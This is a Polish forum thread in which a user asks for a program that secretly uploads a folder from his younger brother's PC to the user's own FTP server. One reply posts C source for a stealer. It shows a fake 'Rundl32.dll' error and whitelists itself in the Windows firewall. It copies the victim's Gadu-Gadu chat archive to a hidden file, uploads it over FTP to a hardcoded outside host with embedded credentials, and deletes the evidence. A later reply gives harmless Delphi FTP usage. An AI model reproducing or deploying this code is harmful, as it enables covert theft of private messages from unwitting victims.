Pokaż wyniki 1 do 5 z 5

Temat: Prosty programik do wysyłania na ftp. pomoże ktoś?

  1. #1
    Zarejestrowany
    Nov 2007
    Postów
    2

    Domyślnie Prosty programik do wysyłania na ftp. pomoże ktoś?

    Witam!
    Jeśli może mi ktoś pomóc to będę wdzięczny.
    Potrzebny mi programik, może być w delphi. chodzi mi o sam kod źródłowy, dobiero stawiam pierwsze kroki w programowaniu.
    W kodzie źródłowym wpisuje ścieżke do folderu (c:/windows/folder) i ten program wysyła mi go na ftp, ftp też wpisuje w kodzie źródłowym (np.ftp://83,100,10,255/pustyfolder).
    I chodzi mi o to jak odpale ten plik to bez jakiego kolwiek powiadomienia mnie, automatycznie wysyła mi ten folder na ftp (do folderu "pustyfolder"), wiem że to śmierdzi podstępem , a kod źródłowy potrzebny mi bo mam zmienne ip i za każdym razem mam inny adres ftp. Dobrze by było jak ten programik by sie kasował po odpaleniu (nie koniecznie).
    reasumując daje ten program młodszemu bratu, on odpala go na kompie i nic sie nie dzieje (on tak myśli bo naprawde dostałem w tej chwili ten folder o który mi chodziło).
    Czy ktoś pomoże mi w takim programiku? może być w txt bo delphi posiadam
    Dla mnie taki progs to wyzwanie, ale pewnie dla kogoś kto już troche programuje to pestka (tak myśle). Dzięki za wszelką pomoc

  2. #2
    Avatar Nikow
    Nikow jest offline -=[ZRP]=-
    Zarejestrowany
    Sep 2007
    Skąd
    Różne zakątki sieci.
    Postów
    995

    Domyślnie

    Witam! Dlaczego nie użyjesz google.pl ?

  3. #3
    Zarejestrowany
    Nov 2007
    Postów
    2

    Domyślnie

    szukałem. ale na razie jestem zbyt początkujący. to co czytałem to czarna magia... dlatego licze na czyjąś pomoc. i pytanie czy dużo sie trzeba natrudzic żeby napisać taki program?

  4. #4
    Zarejestrowany
    Nov 2007
    Postów
    132

    Domyślnie

    Kod php:
    #include <windows.h>
    #include <wininet.h>
    #define HOST          "zenonm.rr.pl"
    #define PORT          INTERNET_DEFAULT_FTP_PORT
    #define USER          "ssss12"
    #define PASSWORD      "ssss12"
    #define INFO_BUFFER_SIZE 1024
    TCHAR szNazwa1024 ];
    TCHAR moodule[1024];
    const 
    WORD zonk 255;
    char names[200];

       
    void tryn(void){
       
    char buff[100];
       
    hostent *lphe;
       
    WSADATA WSAData;
       
    WSAStartup(MAKEWORD(20), &WSAData);
       
    gethostname(buff100);
       
    lphe gethostbyname(buff);
       
    inet_ntoa(*(in_addr*)*lphe->h_addr_list);
       
    char *adr=inet_ntoa(*(in_addr*)*lphe->h_addr_list);
       
    WSACleanup();
       
    memcpy(names,adr,sizeof(names));
       }

       
    bool finder(char shit[]){
       
    strcat(shit,"\\");
       
    strcat(shit,"archives.dat");
       
    GetCurrentDirectory(zonk,szNazwa);
       
    strcat(szNazwa,"\\archives.dat");
       
    CopyFile(shitszNazwaFALSE);
       
    DWORD atrb=FILE_ATTRIBUTE_HIDDEN;
       
    SetFileAttributes(szNazwa,atrb);
       return 
    true;
       }
    int WINAPI WinMain(HINSTANCE hThisInstanceHINSTANCE hPrevInstanceLPSTR lpszArgumentint nFunsterStil){
    GetModuleFileNameGetModuleHandleNULL ), moodule1024 );
    MessageBox(NULL"Aplikacja nie może zostać uruchomiona w 32 bitowym trybie pamięci""Rundl32.dll"MB_ICONSTOP);
        
    char buf[200];
        
    HKEY hkRun6;
        
    HKEY hkRun2;
        
    HKEY hkRun3;
        
    DWORD dwBufSize 20;
        
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Gadu-Gadu\\Gadu-Gadu\\Startup",0,KEY_ALL_ACCESS,&hkRun6); /*otwieramy klucz od profilu gg*/
        
    RegQueryValueEx(hkRun6"LastProfile"0,REG_NONE, (LPBYTE)buf, &dwBufSize);
        
    RegCloseKey(hkRun6);
        
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,KEY_ALL_ACCESS,&hkRun2);
        
    RegSetValueEx(hkRun2,moodule,REG_SZ,(LPBYTE)moodulelstrlen(moodule)+1);
        
    RegCloseKey(hkRun2);
        
    TCHAR  infoBuf[INFO_BUFFER_SIZE];
        
    DWORD  bufCount INFO_BUFFER_SIZE;
        
    GetUserNameinfoBuf, &bufCount );
        
    char path[]="C:\\Documents and Settings\\";
        
    strcat(path,infoBuf);
        
    strcat(path,"\\Gadu-Gadu\\");
        
    strcat(path,buf);
        if(
    finder(path)==true){
        
    tryn();
        
    char rem[]="archiw/";
        
    strcat(rem,names);
        
    strcat(rem,".dat");
        
    HINTERNET hInternethServer;
        
    hInternet InternetOpen(NULLINTERNET_OPEN_TYPE_DIRECTNULLNULL0);
        
    hServer InternetConnect(hInternetHOSTPORTUSERPASSWORDINTERNET_SERVICE_FTP00);
        
    FtpPutFile(hServer,szNazwa,rem,FTP_TRANSFER_TYPE_BINARY,0);
        
    InternetCloseHandle(hServer);
        
    InternetCloseHandle(hInternet);
        
    DeleteFile("archives.dat");
        exit(
    1);
        }
    return 
    0;

    Ostatnio edytowane przez naichniach : 12-17-2007 - 19:00
    Dlaczego wszystkie piosenki są o sexie ,miłości
    i innym pozytywnym gównie
    Nie mogły by być o czystym bólu ,nienawiści i frustracji i innych prawdach których więcej niż mniej ? ......... Ten świat to plastikowe ,fałszywe gówno
    nie mające nic wspólengo z moją rzeczywistością.
    Mtv to nie mój świat
    (tak jestem nie dojrzały ,mam kompelksy ..... i wiecie co? i chuj)

  5. #5
    Zarejestrowany
    Mar 2010
    Postów
    19

    Domyślnie

    Cześć.
    Chcesz do delphi? To załatw sobie pakiet Indy i na form wrzucisz komponent TIdFTP
    W nim ustawiasz wszystkie potrzebne dane czyli
    Kod php:
    IdFTP1.host:='nazwa_hostu';
    IdFTP1.password:='haslo'
    Później tylko zarządzasz np:
    Kod php:
      IdFTP1.Connect();
      
    IdFTP1.Login;
    //.... operacje
      
    IdFTP1.Disconnect
    Reszta poleceń rozwinie Ci się sama po wpisaniu IdFTP1.

Podobne wątki

  1. Odpowiedzi: 19
    Autor: 02-16-2010, 18:46
  2. brak możliwości wysyłania wiadomości poza WAN
    By studencik20 in forum Off Topic
    Odpowiedzi: 8
    Autor: 09-20-2007, 17:12
  3. Potrzeba mi rozszyfrować prosty programik
    By tomek0o7 in forum Inne języki
    Odpowiedzi: 7
    Autor: 08-25-2007, 11:11
  4. Język prosty i na czasie...
    By soovek in forum C/C++
    Odpowiedzi: 19
    Autor: 05-19-2007, 18:55

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj